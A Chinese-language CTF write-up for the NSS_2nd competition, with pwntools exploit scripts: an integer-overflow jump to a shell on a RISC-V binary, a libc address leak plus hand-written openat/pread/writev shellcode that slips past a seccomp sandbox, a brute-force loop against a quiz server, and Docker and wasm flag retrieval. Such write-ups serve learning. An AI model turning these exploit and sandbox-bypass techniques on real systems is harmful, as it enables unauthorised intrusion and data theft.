NSS_2nd 部分wp

PWN:

NewBottleOldWine:

riscv64题目,ghidra编译下能正常看伪代码,但是关键处消失,结合ida64可以找出关键代码

红色这坨ghidra啥也没有,不过ida反编译过后结合偏移可知0x11451622此处是getshell的

一开始试偏移,正数发现到不了指定位置,于是考虑整数溢出,慢慢试偏移可以试出来

最后值为-30064770526时刚好可以跳转到0x11451622拿shell

from pwn import *
context(log_level='debug',arch='riscv',bits=64)

io=remote("node6.anna.nssctf.cn",28016)

payload=b"-30064770526"

io.sendafter("have?\n",payload)

io.interactive()

happy2

利用scanf()输入+-号不覆盖值的特性,可以以此泄露_IO_2_1_stderr_地址,然后输入puts地址进入fork()进程
开启沙盒禁用read connect fork execveat
可以用openat+pread+writev打orw
shellcraft的openat函数有问题,还是手写比较稳

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])

io=process("./pwn")
# io=remote("123.249.2.218",10000)
libc=ELF("./libc.so.6")

io.sendlineafter(b"konw\n",b"2")

gdb.attach(io)
pause()

io.sendline(b"+")
io.sendline(b"+")
leak_addr=int(io.recvuntil(b"you konw",drop=True))-libc.sym[b"_IO_2_1_stderr_"]
puts_addr=leak_addr+libc.sym[b"puts"]
print("puts_addr: ",hex(puts_addr))

io.recvuntil(b"now you need to have a try\n")
io.sendline(str(puts_addr).encode())

payload = asm('mov rax, 0x67616c66; push rax; mov rdi, 0xffffff9c; mov rsi,rsp; xor rdx,rdx; mov rax,257;syscall;') #openat flag
# payload = asm('mov rax, 0x67616c66; push rax; mov rdi,rsp; xor rsi,rsi; xor rdx,rdx; mov rax,2;syscall;') #open flag
payload += asm(shellcraft.pread(3,0x10500,0x100,0))
payload += asm(shellcraft.writev(1,0x10100,1))
payload = payload.ljust(0x100,b"\x00")+flat(0x10500,0x100)

io.send(payload)

io.interactive()

MISC:

gift_in_qrcode:

最开始本来说爆破,结果给的就是答案,白给

gift_in_qrcode(revenge):

知道一个正确答案就可以爆破了
爆破脚本:

from pwn import *
context(log_level='debug')

    
while True:
    try:
        
        io=remote("node6.anna.nssctf.cn",28833)

        payload=b"19"

        io.sendlineafter(b"answer:",payload)

        t=io.recv()
        print(t)
        
        if b"No" in t:
            print("FAILED")
            io.close()
        else:
            print(t)
            print("SUCCEED")
            sys.exit(0)
        
    except:
        io.close()
        continue

Magic Docker:

pull下来save到本地进去就有flag

docker images #查看images,找到对应镜像id
docker save $id -o 1.zip #以1.zip形式保存镜像至当前目录

New Terminal:

给了一个.wasm文件,使用wasmtime运行
可以得到一个shell,执行

cat flag|base 64

得到flag,cyberchef base64一把梭即可